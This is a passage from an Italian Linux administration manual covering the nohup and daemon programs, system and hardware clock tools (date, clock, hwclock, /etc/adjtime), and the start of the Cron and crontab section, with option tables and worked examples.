$ **ps** [*Invio*]

```
  PID TTY STAT  TIME COMMAND
...
 1304   1 R N  1:55 yes
...
```

Dalla colonna '**STAT**' si può osservare che '**yes**' ha un valore nice positivo (si osserva per questo la lettera '**N**'). Si controlla lo stato dei processi attraverso '**pstree**':

$ **pstree -p** [*Invio*]

```
init(1)-+-...
        |
        ...
        |-login(370)---bash(387)---bash(1303)-+-pstree(1341)
        |                                     `-yes(1304)
        ...
```

Si può osservare che '**yes**' è un processo figlio della shell Bash (l'eseguibile '**bash**') avviata poco prima. Si conclude l'attività della shell provocando un segnale di interruzione di linea per i processi che dipendono da questa:

$ **exit** [*Invio*]

Si controlla nuovamente lo stato dei processi attraverso '**pstree**':

$ **pstree -p** [*Invio*]

```
init(1)-+-...
        |
        ...
        |-login(370)---bash(387)---pstree(1359)
        ...
        |-yes(1304)
        ...
```

Al termine, '**yes**' risulta essere un processo figlio del processo principale (Init, ovvero l'eseguibile '**init**').

Probabilmente, facendo qualche esperimento, si può osservare che i processi sullo sfondo non terminano la loro esecuzione quando si conclude la sessione di lavoro della shell che li ha avviati, senza bisogno di utilizzare '**nohup**'. Tuttavia ci sono situazioni in cui '**nohup**' è indispensabile. Per esempio, se si sta lavorando con l'ambiente grafico X e si chiude una finestra di terminale, un eventuale programma sullo sfondo viene eliminato sicuramente, a meno di usare '**nohup**'.

10.10.2 Utilizzo di «daemon»

Il programma '**daemon**' esegue un comando, trasformando se stesso e ciò che avvia nell'equivalente di un demone vero e proprio. Il lavoro di '**daemon**' è molto più sofisticato rispetto a '**nohup**' e per l'avvio del comando non serve ridirigere esplicitamente i flussi di dati standard e nemmeno cercare di mettere il processo sullo sfondo, perché a questo provvede direttamente '**daemon**'.

daemon [*opzioni*] [[--] *comando_e_argomenti*]

A titolo di esempio viene mostrata una situazione tipica di utilizzo di '**daemon**', in cui si vuole avviare il programma '**lambdamoo**'. Il programma '**lambdamoo**' offre un servizio attraverso

la rete, ma se lo si avvia rimane in primo piano e non sarebbe sufficiente l'uso di '**nohup**' per sganciarlo dal terminale:

```
# daemon -u lambdamoouser -- lambdamoo -l /var/log/lambdamoo.log ↩
↪       /var/run/lambdamoo/enCorumbe26012008.prv ↩
↪       /var/run/lambdamoo/enCorumbe26022008.prv [Invio]
```

In questo modo, il programma '**lambdamoo**' viene anche avviato con i privilegi di un utente specifico ('**lambdamoouser**') e il resto riguarda l'uso del programma stesso.

Dopo l'avvio di questo comando di esempio, si può osservare lo stato dei processi con '**pstree**':

```
init-+-…
     |
     …
     |-daemon---lambdamoo
     …
     |-2*[lambdamoo]
     …
```

In questo caso, di fatto appaiano altri due processi di '**lambdamoo**', figli di '**init**', dipende da '**lambdamoo**' stesso, in quanto il compito di '**daemon**' si limita all'avvio di quel processo che diviene suo figlio.

Tabella 10.82. Alcune opzioni per l'uso di '**daemon**'.

Opzione	Descrizione
`-n` ***nome*** `--n=`***nome***	Attribuisce un nome al lavoro, da usare per la creazione di un file in '`/var/run/`' (un file lucchetto, ovvero *lock file*) con il numero del processo avviato, allo scopo di evitare l'avvio di altri processi simultanei con quello stesso nome.
`-u` ***utente*** [***.gruppo***] `--user=`***utente*** [***.gruppo***]	Avvia il comando con i privilegi dell'utente indicato ed eventualmente anche del gruppo.
`-R` ***dir*** `--chroot=`***dir***	Avvia il comando facendo il modo che la directory indicata diventi per lui quella principale (la radice).
`-D` ***dir*** `--chdir=`***dir***	Avvia il comando facendo il modo che la directory indicata diventi per lui quella corrente, di funzionamento.
`-m` ***umask*** `--umask=`***umask***	Avvia il comando facendo il modo che la maschera dei permessi diventi quella indicata.
`-r` `--respawn`	Riavvia il comando se questo termina di funzionare per qualche ragione.
`-o` ***file*** `--output=`***file***	Avvia il comando, facendo in modo che quanto prodotto da questo, attraverso lo standard output e lo standard error, venga diretto al file specificato.

Opzione	Descrizione
`-o` ***servizio*.*priorità*** `--output=`***servizio*.*priorità***	Avvia il comando, facendo in modo che quanto prodotto da questo, attraverso lo standard output e lo standard error, venga diretto al registro del sistema (*syslog*), con il servizio e la priorità specificati (*facility* e *priority*).
`-O` ***file*** `--stdout=`***file***	Avvia il comando, facendo in modo che quanto prodotto da questo attraverso lo standard output, venga diretto al file specificato.
`-O` ***servizio*.*priorità*** `--stdout=`***servizio*.*priorità***	Avvia il comando, facendo in modo che quanto prodotto da questo attraverso lo standard output, venga diretto al registro del sistema (*syslog*), con il servizio e la priorità specificati (*facility* e *priority*).
`-E` ***file*** `--stderr=`***file***	Avvia il comando, facendo in modo che quanto prodotto da questo attraverso lo standard error, venga diretto al file specificato.
`-E` ***servizio*.*priorità*** `--stderr=`***servizio*.*priorità***	Avvia il comando, facendo in modo che quanto prodotto da questo attraverso lo standard error, venga diretto al registro del sistema (*syslog*), con il servizio e la priorità specificati (*facility* e *priority*).

[1] Il concetto di priorità fa riferimento a una sequenza ordinata di elementi: il primo, cioè quello che ha precedenza sugli altri, è quello che ha il valore inferiore.

[2] A questo proposito, la distribuzione SuSE colloca questi script nella directory '`/sbin/init.d/`'.

[3] **Procps ps** GNU LGPL

[4] **Psmisc** software libero con licenza speciale

[5] **Procps top** GNU GPL

[6] **Htop** GNU GPL

[7] **System V Init** GNU GPL

[8] **Psmisc** GNU GPL

[9] **Lsof** software libero con licenza speciale

[10] **Procps uptime** GNU GPL

[11] **Procps free** GNU GPL

[12] **Strace** software libero con licenza speciale

[13] **Procps kill** GNU GPL

[14] **Psmisc** software libero con licenza speciale

[15] **System V Init** GNU GPL

[16] **GNU core utilities** GNU GPL

Capitolo 11

Orologio e pianificazione

11.1 Orario locale 503
11.2 Distinzione tra hardware e software 504
11.2.1 Orologio hardware 505
11.2.2 Orologio del kernel e orario locale 505
11.3 Modifica dell'orario 505
11.4 Strumenti per la gestione dell'orologio 506
11.4.1 Utilizzo di «date» 506
11.4.2 Utilizzo di «clock» 509
11.4.3 Utilizzo di «hwclock» 510
11.4.4 File «/etc/adjtime» 511
11.5 Cron 512
11.5.1 Utilizzo di «cron» 513
11.5.2 Utilizzo di «crontab» 513
11.5.3 File «/var/spool/cron/crontabs/*» 514
11.5.4 File «/etc/crontab» 517
11.5.5 File «/etc/cron.d/*» 519
11.6 Anacron 519
11.6.1 File «/etc/anacrontab» 519
11.6.2 Avvio di «anacron» 520
11.7 At 521
11.7.1 Ambiente 522
11.7.2 Restituzione dell'output 522
11.7.3 Utilizzo di «at», «batch», «atq» e «atrm» 522
11.7.4 Analisi di un esempio 524
11.8 Priorità 526
11.8.1 Utilizzo di «nice» 526
11.8.2 Utilizzo di «renice» 526

`adjtime` 506 `anacrontab` 519 `at` 522 `at.allow` 521 `at.deny` 521 `atd` 521 `atq` 522 `atrm` 522 `atrun` 521 `batch` 522 `clock` 509 `cron` 513 `crontab` 513 517 `date` 506 hwclock 510 `localtime` 506 `nice` 526 `renice` 526

L'orologio del sistema non serve solo a fornire l'indicazione della data e dell'ora corrente; da esso dipende anche il buon funzionamento del sistema di pianificazione dei processi (*scheduling*). Nella pianificazione dei processi, poi, va considerato anche il livello di priorità di questi.

Nella sezione 42.10 viene trattato il problema della sincronizzazione dell'orologio attraverso la rete con il protocollo NTP.

11.1 Orario locale

Generalmente, quando si considera la differenza di orario tra un paese e un altro si pensa ai fusi orari. In questa ottica, per stabilire l'orario basterebbe conoscere il fuso orario in cui ci si trova. Tuttavia, l'utilizzo dell'ora estiva in molti paesi, in forme differenti a seconda di quanto stabilito dai vari governi, rende la determinazione dell'orario una cosa più complessa.

Per risolvere il problema si utilizza generalmente una sorta di base di dati contenente le regole con cui stabilire l'orario di ogni paese. A questo si abbina un orologio che mantiene un orario di riferimento, generalmente il tempo universale, dal quale il sistema è in grado di calcolare l'orario locale esatto.

Alcuni paesi utilizzano una notazione, generalmente di tre lettere, per indicare i vari fusi orari. Queste sigle non rappresentano uno standard per tutti, quindi vanno usate con prudenza. Il modo più sicuro per indicare un fuso orario è sempre quello di specificare il paese o una città precisa.

Alcune sigle sono particolarmente importanti, sia perché si usano spesso nella documentazione tecnica, sia perché appaiono nei messaggi dei programmi che si occupano di gestire l'orologio del sistema.

- UT (*Universal time*), UTC (*Universal Coordinated Time*)

  Il tempo universale, corrispondente all'ora solare di Greenwich.

- GMT (*Greenwich mean time*)

  Il modo tradizionale di indicare l'orario solare di Greenwich, corrispondente al tempo universale.

- DST (*Daylight savings time*)

  Non rappresenta un orario preciso, ma uno spostamento dell'orario per sfruttare meglio il periodo di illuminazione diurna durante la stagione estiva. In pratica si abbina questa sigla a quella del fuso orario, a indicare che l'ora solare corrispondente si ottiene sottraendo un'ora.

- CET (*Center Europe time*)

  L'orario dell'europa centrale.

- CEST (*Center Europe summer time*)

  L'orario dell'europa centrale durante il periodo estivo (in anticipo di un'ora sul tempo CET).

11.2 Distinzione tra hardware e software

Si distingue tra due orologi indipendenti: quello contenuto dell'hardware dell'elaboratore e quello gestito dal kernel del sistema. Per il sistema operativo, quello che conta è l'orario fornito dal kernel, ma l'orologio hardware è importante perché è in grado di funzionare anche quando l'elaboratore è spento. In pratica, all'avvio attraverso la procedura di inizializzazione del sistema, viene allineato l'orario del kernel con quello hardware.

11.2.1 Orologio hardware

L'orologio hardware è quello che appartiene alla parte fisica dell'elaboratore e normalmente è incorporato nella scheda madre. È alimentato attraverso una piccola batteria, in modo da poter funzionare anche quando l'elaboratore è spento.

Chi utilizza l'architettura x86 tende a chiamarlo «orologio del BIOS» oppure «orologio CMOS», dal momento che BIOS, CMOS e orologio, sono cose che tendono a confondersi. Si tratta comunque, sempre della stessa cosa.

Utilizzando un elaboratore x86, il modo migliore per regolare questo orologio è quello di utilizzare le funzioni del programma di configurazione della memoria CMOS, residente normalmente nella ROM e accessibile attraverso una combinazione di tasti al momento della verifica della memoria RAM.

È importante scegliere il tipo di orario su cui deve allinearsi l'orologio hardware. Generalmente, la scelta è tra la propria ora locale, o il tempo universale (UTC). Se non ci sono problemi di conflitti con altri sistemi operativi differenti dai sistemi GNU, è importante che si utilizzi come riferimento il tempo universale. In questo modo, è il sistema operativo a occuparsi di calcolare la differenza in base al fuso orario e all'eventuale ora estiva.

11.2.2 Orologio del kernel e orario locale

L'orologio del kernel viene impostato all'avvio, in base a quanto indicato dall'orologio hardware. Successivamente, finché il sistema resta in funzione, non viene più interpellato l'orologio hardware (a meno che il proprio sistema non abbia una configurazione particolare per qualche motivo).

Il sistema deve quindi sapere se l'orologio hardware è impostato sull'orario locale o sul tempo universale, per stabilire in che modo deve essere allineato l'orologio del kernel. Dal punto di vista dell'utilizzatore, nel primo caso occorre intervenire manualmente sull'orologio hardware quando inizia o termina il periodo dell'ora estiva, nel secondo caso no.

Il kernel tiene traccia esclusivamente del tempo universale, attraverso un numero che rappresenta il tempo trascorso in secondi dall'ora zero del primo gennaio 1970. Per conoscere l'orario locale si utilizza un file di configurazione, '`/etc/localtime`', contenente le informazioni necessarie a calcolarlo.

11.3 Modifica dell'orario

Se l'orologio del sistema è errato (intendendo in questo anche la data), è il caso di intervenire attraverso diverse azioni possibili. Il modo più semplice, nel senso che comporta meno complicazioni, è il riavvio del sistema impostando correttamente l'orologio hardware, eventualmente tenendo presente se si deve utilizzare il tempo universale.

Se il sistema non può essere riavviato, si deve intervenire attraverso il programma '**`date`**', come viene mostrato in seguito. Ma così facendo, dal momento che il sistema operativo è in funzione si provocano degli squilibri, sia nel sistema di pianificazione dei processi (Cron), sia in alte situazioni (anche il sistema grafico X può risentirne). Il minimo che può capitare è di osservare un'intensa attività del sistema dovuta all'avvio di processi da parte del demone '**`cron`**'.

Tuttavia, quando si interviene sull'orologio di un sistema in funzione, con un cambiamento importante, bisogna accettare il rischio di dover riavviare il sistema, se ci si accorge che tutto è diventato instabile.

In alternativa alla modifica dell'orologio del sistema, si può agire sull'orologio hardware attraverso il programma '**clock**'. Così, al prossimo riavvio l'orario dovrebbe risultare corretto, senza infastidire la sessione di lavoro attuale.

Quando si decide di modificare l'orario di sistema attraverso '**date**', dal momento che il più difficile è fatto, conviene anche aggiornare l'orologio hardware attraverso '**clock**'.

11.4 Strumenti per la gestione dell'orologio

Attraverso il programma '**date**' si può leggere o impostare la data e l'ora del sistema. Dal momento che il kernel gestisce l'orologio con riferimento al tempo universale, è necessaria un'opportuna conversione che avviene per mezzo di quanto indicato nel file '`/etc/localtime`', che generalmente è un collegamento simbolico al file adatto, contenuto nella directory '`/usr/share/zoneinfo/`' (queste collocazioni sono definite in base alla gerarchia standard dei sistemi GNU/Linux, a cui tutte le distribuzioni dovrebbero uniformarsi).

Il programma '**clock**' permette di leggere o impostare la data e l'ora dell'hardware. Utilizza il file '`/etc/adjtime`' per permettere un aggiustamento automatico del suo valore, quando si conosce esattamente di quanti secondi sbaglia ogni giorno.

11.4.1 Utilizzo di «date»

Il programma '**date**'[1] permette di conoscere o di modificare la data e l'ora del sistema, cioè quella gestita dal kernel. L'utente comune può utilizzare '**date**' per ottenere la data e l'ora attraverso lo standard output, mentre solo l'utente '**root**' può intervenire per modificarne il valore.

date [*opzioni*] [+*formato*] [*data_orario*]

È importante tenere a mente che la modifica del valore contenuto nell'orologio del sistema può comportare instabilità.

La riga di comando di '**date**' si divide in tre parti principali: le opzioni, il formato di rappresentazione e la data. Il formato di rappresentazione è una stringa che descrive in che modo si vuole venga restituita la data o l'ora attuale. L'indicazione della data permette all'utente '**root**' di modificare la data e l'ora del sistema.

Tabella 11.1. Alcune opzioni.

Opzione	Descrizione
`-d` ***data_orario*** `--date=`***data_orario***	Emette la data e l'ora specificata attraverso l'argomento (composto da una stringa).
`-s` ***data_orario*** `--set=`***data_orario***	Modifica la data del sistema, secondo quanto indicato nell'argomento, costituito da una stringa. La data e l'ora possono essere espressi nello stesso modo in cui si può fare con l'opzione '**`-d`**'.
`-u` `--universal`	Emette o modifica la data riferita al tempo universale (UTC).

Se negli argomenti ne compare uno che inizia con un segno '**`+`**', questo viene interpretato come un formato di rappresentazione da utilizzare per emettere la data e l'ora. Si tratta di una stringa, dove tutti i caratteri vengono trattati per quello che sono, a eccezione delle direttive indicate nella tabella 11.2.

Tabella 11.2. Direttive per la rappresentazione delle informazioni data-orario di '**`date`**'.

Direttiva	Descrizione
`%%`	Rappresenta un simbolo di percentuale singolo.
`%n`	Rappresenta un codice di interruzione di riga.
`%t`	Rappresenta una tabulazione orizzontale.
`%s`	Numero di secondi trascorsi dall'epoca di riferimento (1970.01.01 00:00:00 UTC).
`%c`	Data e ora corrispondente alla stringa '**`'%a %b %d %X %Z %Y'`**'.
`%H`	L'ora secondo il formato «00..23».
`%I`	L'ora secondo il formato «01..12».
`%k`	L'ora secondo il formato « 0..23».
`%l`	L'ora secondo il formato « 0..12».
`%M`	Minuti secondo il formato «00..59».
`%S`	Secondi secondo il formato «00..59».
`%p`	AM o PM.
`%Z`	Sigla del fuso orario o nulla se non è determinabile.
`%r`	Orario in 12 ore, secondo il formato «hh:mm:ss AM/PM».
`%T`	Orario in 24 ore, secondo il formato «hh:mm:ss».
`%X`	Rappresentazione locale dell'orario, corrispondente generalmente alla stringa '**`'%H:%M:%S'`**'.

Direttiva	Descrizione
`%a`	Giorno della settimana abbreviato.
`%A`	Giorno della settimana esteso.
`%u`	Giorno della settimana, secondo il formato «1..7», dove uno corrisponde al lunedì.
`%U`	Settimana dell'anno, utilizzando la domenica come primo giorno, «00..53».
`%V`	Settimana dell'anno, utilizzando il lunedì come primo giorno, «01..53». La prima settimana (rappresentata come settimana «01»), per essere tale, deve includere almeno quattro giorni del nuovo anno.
`%w`	Giorno della settimana, con lo zero corrispondente alla domenica, «0..6».
`%b` `%h`	Mese abbreviato.
`%B`	Mese per esteso.
`%m`	Mese secondo il formato «01..12».
`%y`	Le ultime due cifre dell'anno, «00..99».
`%Y`	Anno per esteso.
`%C`	Secolo, pari al risultato intero di ***anno***/100.
`%d`	Giorno del mese secondo il formato «01..31».
`%e`	Giorno del mese secondo il formato « 1..31».
`%j`	Giorno dell'anno secondo il formato «001..366».
`%D`	Data secondo il formato «mm/gg/aa».
`%x`	Rappresentazione locale della data in forma numerica.

Quando non viene indicato un formato di rappresentazione della data, questa viene emessa secondo quanto si otterrebbe con la direttiva '**`%c`**'.

Se viene indicato un argomento che non appartiene alle opzioni e non inizia con il segno '**`+`**', allora viene inteso trattarsi dell'indicazione di una data ed eventualmente di un'ora, da utilizzare per modificare quella del sistema. La sintassi per indicare l'informazione data-orario, è la seguente:

MMGGhhmm [[***SS***] ***AA***] [. ***ss***]

In pratica, si possono inserire otto cifre numeriche che rappresentano, rispettivamente a coppie: il mese, il giorno, le ore e i minuti. Di seguito si possono aggiungere altre due o quattro cifre che rappresentano l'anno («SS» sta per secolo). Infine, indipendentemente dal fatto che sia

presente l'informazione dell'anno, possono essere aggiunte due cifre, separate da un punto, che rappresentano i secondi.

Segue la descrizione di alcuni esempi.

- `$ date -d '2 months 5 days'` [*Invio*]

  Restituisce la data corrispondente a due mesi e cinque giorni nel futuro.

- `$ date -d '1 month 3 hours ago'` [*Invio*]

  Restituisce la data corrispondente a un mese e tre ore fa.

- `$ date '+%d/%m/%Y'` [*Invio*]

  Emette la data nella forma ***giorno*/*mese*/*anno***, con l'anno per esteso.

- `# date 03151045` [*Invio*]

  Modifica la data del sistema in modo che corrisponda al 15 marzo dell'anno in corso, alle ore 10:45.

- `# date 03151045.10` [*Invio*]

  Modifica la data del sistema in modo che corrisponda al 15 marzo dell'anno in corso, alle ore 10:45:10.

- `# date 031510452010` [*Invio*]

  Modifica la data del sistema in modo che corrisponda al 15 marzo 2010 alle ore 10:45.

11.4.2 Utilizzo di «clock»

Il programma '**`clock`**' permette di accedere all'orologio hardware dell'elaboratore.

```
clock [-u] [-r | -w | -s | -a]
```

Tabella 11.3. Alcune opzioni.

Opzione	Descrizione
`-u`	Stabilisce che l'informazione data-orario contenuta nell'orologio hardware deve essere (oppure è) riferita al tempo universale (UTC).
`-r`	Legge la data e l'ora dell'orologio hardware e ne emette il contenuto attraverso lo standard output.
`-w`	Modifica la data e l'ora dell'orologio hardware, in base a quanto indicato dall'orologio di sistema. Quando il sistema fa affidamento sul fatto che l'orologio hardware contenga l'orario UTC, si utilizza questa opzione assieme a '**`-u`**'.
`-s`	Aggiorna la data e l'ora del sistema in base al contenuto dell'orologio hardware. Quando il sistema fa affidamento sul fatto che l'orologio hardware contenga l'orario UTC, si utilizza questa opzione assieme a '**`-u`**'.
`-a`	Aggiorna la data e l'ora del sistema in base al contenuto dell'orologio hardware, tenendo conto anche dell'errore sistematico indicato nel file '`/etc/adjtime`' e riaggiornando lo stesso orologio hardware.

Segue la descrizione di alcuni esempi.

- # **clock -r** [*Invio*]

  Legge e restituisce la data e l'orario contenuto nell'orologio hardware.

- # **clock -r -u** [*Invio*]

  La stessa cosa dell'esempio precedente, ma visualizza la data e l'ora locale, essendo l'orologio impostato sul tempo universale.

- # **clock -w -u** [*Invio*]

  Aggiorna l'orologio hardware, con riferimento al tempo universale, secondo l'orologio del sistema.

- # **clock -a -u** [*Invio*]

  Aggiorna l'orologio di sistema a partire da quello hardware, tenendo conto che l'orologio hardware è riferito al tempo universale, calcolando anche l'eventuale aggiustamento contenuto nel file '`/etc/adjtime`'.

11.4.3 Utilizzo di «hwclock»

Il programma '**`hwclock`**' [2] è una versione alternativa del programma '**`clock`**', specifica per i sistemi GNU/Linux, con il quale è comunque compatibile. In particolare, accetta anche quasi tutte le opzioni di quel programma.

```
hwclock [opzioni]
```

A differenza di '**`clock`**', '**`hwclock`**' è in grado di modificare direttamente l'orologio hardware, senza dover leggere l'orario fornito dal sistema operativo; inoltre, è in grado di gestire in modo autonomo il file di configurazione '`/etc/adjtime`' annotando l'errore dell'orologio hardware in base ai comandi di modifica dati dall'utente del sistema.

Tabella 11.4. Alcune opzioni.

Opzione	Descrizione
`-u` `--utc`	Stabilisce che l'informazione data-orario contenuta nell'orologio hardware deve essere (oppure è) riferita al tempo universale (UTC).
`-r` `--show`	Legge la data e l'ora dell'orologio hardware e ne emette il contenuto attraverso lo standard output.
`-w` `--systohc`	Modifica la data e l'ora dell'orologio hardware, in base a quanto indicato dall'orologio di sistema. Quando il sistema fa affidamento sul fatto che l'orologio hardware contenga l'orario UTC, si utilizza questa opzione assieme a '**`-u`**'.
`-s` `--hctosys`	Aggiorna la data e l'ora del sistema in base al contenuto dell'orologio hardware. Quando il sistema fa affidamento sul fatto che l'orologio hardware contenga l'orario UTC, si utilizza questa opzione assieme a '**`-u`**'.

Opzione	Descrizione
`-a` `--adjust`	Aggiusta la data dell'orologio hardware in funzione del contenuto del file '`/etc/adjtime`'.
`--set`	Imposta l'orologio hardware in base all'indicazione data attraverso l'opzione '**`--date`**', modificando di conseguenza anche il file '`/etc/adjtime`'.
`--date=`***data_orario***	Definisce la data da attribuire all'orologio hardware. In pratica si usa solo assieme all'opzione '**`--set`**'.

Segue la descrizione di alcuni esempi.

- `#` **`hwclock -r`** [*Invio*]

  Mostra la data e l'ora dell'orologio hardware.

- `#` **`hwclock -r -u`** [*Invio*]

  Mostra la data e l'ora dell'orologio hardware, tenendo conto che quella è riferita al tempo universale, correggendola di conseguenza prima di visualizzarla.

- `#` **`hwclock -u --set --date='04/01/2010 10:10:30'`** [*Invio*]

  Imposta l'orologio hardware al 1 aprile 2010, alle ore 10:10 e 30 secondi. Contestualmente, '**`hwclock`**' modifica il file '`/etc/adjtime`' annotando l'errore sistematico dell'orologio hardware in base alla differenza riscontrata rispetto all'orario precedente.

- `#` **`hwclock -a`** [*Invio*]

  Corregge la data dell'orologio hardware in funzione delle informazioni contenute del file '`/etc/adjtime`'.

- `#` **`hwclock -u -s`** [*Invio*]

  Aggiorna l'orologio del sistema in base al valore riportato dall'orologio hardware, che risulta posizionato sul tempo universale.

11.4.4 File «/etc/adjtime»

Il file '`/etc/adjtime`' viene utilizzato da '**`clock`**' o da '**`hwclock`**' per tenere traccia dell'errore sistematico dell'orologio hardware. Contiene una sola riga di testo dove appaiono tre numeri, il cui significato è espresso dalla sintassi seguente:

[+|-] ***aggiustamento_giornaliero ultimo_utilizzo resto***

Quando questo file non è configurato, appare la riga seguente:

```
0.0 0 0.0
```

Il primo valore rappresenta l'aggiustamento giornaliero in secondi che sarebbe necessario per fare sì che l'orologio hardware sia corretto. Per esempio, se vengono guadagnati sistematicamente cinque secondi ogni giorno, si può modificare il primo valore indicando '**-5.0**'.

Il secondo numero viene gestito dai programmi che si occupano di aggiustare l'orologio e serve a memorizzare quando è stato fatto l'ultimo aggiustamento. Questo valore viene indicato con un numero che rappresenta quanti secondi sono trascorsi a partire dalla data di riferimento del sistema.

L'ultimo valore rappresenta la parte frazionaria di secondo che non ha potuto essere utilizzata nell'ultimo aggiustamento.

In pratica, l'amministratore del sistema deve occuparsi solo di modificare il primo valore, perché gli altri due sono gestiti direttamente dai programmi che si occupano di correggere l'orario. Eventualmente, utilizzando il programma '**hwclock**' con l'opzione '**--set**', non è nemmeno necessario preoccuparsi di questo.

Per fare in modo che l'orologio hardware venga corretto regolarmente attraverso le informazioni di questo file, è necessario che la procedura di inizializzazione del sistema sia stata predisposta in modo tale da provvedere ogni volta che viene avviato il sistema operativo. Di solito, le distribuzioni GNU sono già organizzate in questo modo; tuttavia potrebbe rimanere il problema di aggiornare l'orologio durante il funzionamento del sistema, in tutti i casi in cui l'elaboratore rimane acceso per tempi molto lunghi (si pensi a un nodo di Internet che offre dei servizi ininterrottamente). Evidentemente, occorre configurare il sistema Cron in modo da eseguire ogni giorno (a una certa ora) i comandi seguenti:

```
/sbin/clock -u -a
/sbin/clock -u -s
```

Oppure:

```
/sbin/hwclock -u -a
/sbin/hwclock -u -s
```

In pratica, prima si aggiorna l'orologio hardware e quindi si riallinea l'orologio del sistema operativo (negli esempi mostrati si presume che l'orologio hardware sia puntato sul tempo universale).

Il programma '**clock**' originale dovrebbe fare tutto utilizzando solo l'opzione '**-a**' (senza bisogno di essere riavviato con l'opzione '**-s**' per allineare il kernel). Tuttavia, se si tratta di un collegamento a '**hwclock**' che accetta la stessa opzione, l'aggiornamento dell'orologio del kernel deve essere richiesto in modo esplicito come è stato mostrato.

11.5 Cron

Nel bel mezzo della notte, mentre si sta lavorando isolati da qualunque rete, potrebbe capitare di notare un'intensa attività del sistema senza una giustificazione apparente. Di solito si tratta del demone '**cron**'. Cron è il sistema che si occupa di eseguire, attraverso il demone '**cron**', dei comandi in momenti determinati in base a quanto stabilito all'interno della sua configurazione, rappresentata dai file ***crontab***. Questi file possono essere diversi, solitamente uno per

ogni utente che ha la necessità di pianificare l'esecuzione di alcuni comandi e uno generale per tutto il sistema.

I file crontab vengono creati attraverso il programma '**crontab**' e questo permette di non dovere sapere necessariamente dove devono essere collocati e in che modo vanno nominati. Oltre che per un fatto di relativa comodità, l'esistenza del programma '**crontab**' permette di evitare che i file crontab siano accessibili a utenti che non ne siano i proprietari. Inoltre, non è necessario preoccuparsi di avvisare il demone '**cron**' dell'avvenuto cambiamento nella situazione dei piani di esecuzione.[3]

L'output dei comandi che il sistema Cron mette in esecuzione, se non è stato ridiretto in qualche modo, per esempio a '/dev/null' o a un file, viene inviato con un messaggio di posta elettronica all'utente cui appartiene il file crontab.

Il demone '**cron**' viene avviato di norma durante la procedura di inizializzazione del sistema. Di questo demone ne esistono almeno due tipi diversi per i sistemi GNU: quello di Paul Vixie e quello di Dillon. Nelle sezioni seguenti si fa riferimento in particolare al sistema Cron di Paul Vixie.[4]

Vedere *cron(1)*, *crontab(1)* o *crontab(8)*, e *crontab(5)*.

11.5.1 Utilizzo di «cron»

Il programma '**cron**' è un demone funzionante sullo sfondo (*background*) che si occupa di interpretare i file crontab collocati in '/var/spool/cron/crontabs/' oltre a uno speciale, '/etc/crontab', il cui formato è leggermente diverso.

```
cron
```

Dal momento che la sostanza del funzionamento di questo programma sta nell'interpretazione dei file crontab, le altre notizie sul suo utilizzo sono riportate in occasione della presentazione di quei file.

11.5.2 Utilizzo di «crontab»

Il programma '**crontab**' permette di creare o modificare il file crontab di un utente determinato. In particolare, solo l'utente '**root**' può agire sul file crontab di un altro utente. Di solito, il programma '**crontab**' viene utilizzato con l'opzione '**-e**' per modificare o creare il file crontab.

```
crontab [opzioni]
```

I file crontab vengono poi utilizzati dal demone '**cron**' che si occupa di eseguire i comandi lì indicati.

Tabella 11.8. Alcune forme di utilizzo di '**`crontab`**'.

Sintassi	Descrizione
`crontab` [-u *utente*] *file*	Sostituisce il file crontab con il contenuto del file indicato come argomento.
`crontab -l` [*utente*]	Visualizza il file crontab dell'utente.
`crontab -e` [*utente*]	Crea o modifica il file crontab dell'utente.
`crontab -r` [*utente*]	Cancella il file crontab dell'utente.

Segue la descrizione di alcuni esempi.

- `$` **`crontab -e`** [*Invio*]

  Inizia la modifica del file crontab dell'utente.

- `$` **`crontab -l`** [*Invio*]

  Visualizza il contenuto del file crontab dell'utente. Il suo contenuto potrebbe apparire come nel listato seguente:

```
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.1466 installed on Thu Aug 21 17:39:46 1997)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
10 6 * * * echo "ciao ciao"
```

- `$` **`crontab -r`** [*Invio*]

  Elimina il file crontab dell'utente.

11.5.3 File «/var/spool/cron/crontabs/*»

I file contenuti nella directory '`/var/spool/cron/crontabs/`' sono i file crontab degli utenti comuni, creati generalmente attraverso il programma '**`crontab`**'. Ogni utente ha il proprio con il nome corrispondente all'utente stesso; i comandi contenuti al suo interno vengono eseguiti con i privilegi dell'utente proprietario del file crontab.

Le righe vuote sono ignorate e così anche quelle dove il primo carattere diverso da uno spazio lineare (sia spazi veri e propri, sia caratteri di tabulazione) è il simbolo '**`#`**', che serve così a introdurre dei commenti. Un record significativo può essere un assegnamento di una variabile di ambiente o un comando Cron.

L'assegnamento di una variabile può avvenire nel modo consueto, dove gli spazi attorno al segno di uguaglianza sono facoltativi e il valore assegnato può essere indicato eventualmente con virgolette (singole o doppie):

nome = *valore*

La possibilità di inserire degli assegnamenti di variabili di ambiente all'interno di un file crontab è una particolarità del sistema Cron di Paul Vixie.

Il demone '**`cron`**' utilizza delle variabili di ambiente per determinare il proprio comportamento. Alcune di queste ricevono un valore predefinito dal demone '**`cron`**' stesso, ma tutte, tranne ***LOGNAME***, possono essere modificate attraverso un assegnamento all'interno del file crontab.

Tabella 11.10. Utilizzo di alcune variabili di ambiente.

Variabile	Descrizione
SHELL	Il valore iniziale è '`/bin/sh`' stabilendo così che i comandi di Cron devono essere eseguiti facendo uso della shell standard. Normalmente, in un sistema GNU, '`/bin/sh`' è un collegamento alla shell predefinita, ovvero a Bash ('`/bin/bash`'), la quale, se avviata così, si comporta in modo compatibile con la shell standard.
LOGNAME	Il valore iniziale è il nome dell'utente e non può essere modificato.
HOME	Il valore iniziale è la directory personale dell'utente.
MAILTO	Non viene preassegnata dal demone '**`cron`**' e se risulta definita, ma non vuota, viene utilizzata per determinare il destinatario dei messaggi di posta elettronica che vengono generati. Se il contenuto di questa variabile è la stringa nulla ('`""`'), non viene inviato alcun messaggio. Se la variabile non esiste, il destinatario dei messaggi di posta elettronica è lo stesso utente a cui appartiene il file crontab.

Un file crontab tipico può contenere solo comandi di Cron. Il formato di questo può essere riassunto brevemente nel modo seguente:

data_orario comando

Il comando viene eseguito attraverso la shell indicata all'interno della variabile ***SHELL***, mentre l'indicazione data-orario si scompone in altri cinque campi.

minuti ore giorni_del_mese mesi giorni_della_settimana

I campi possono contenere un asterisco ('`*`') e in tal caso rappresentano ogni valore possibile di quel campo. Per esempio, '`* * * * *`' rappresenta ogni minuto di ogni ora di ogni giorno del mese di ogni mese di ogni giorno della settimana.

A parte il caso degli asterischi, all'interno di questi campi si possono indicare dei valori numerici secondo gli intervalli seguenti:

Contesto	Intervallo possibile
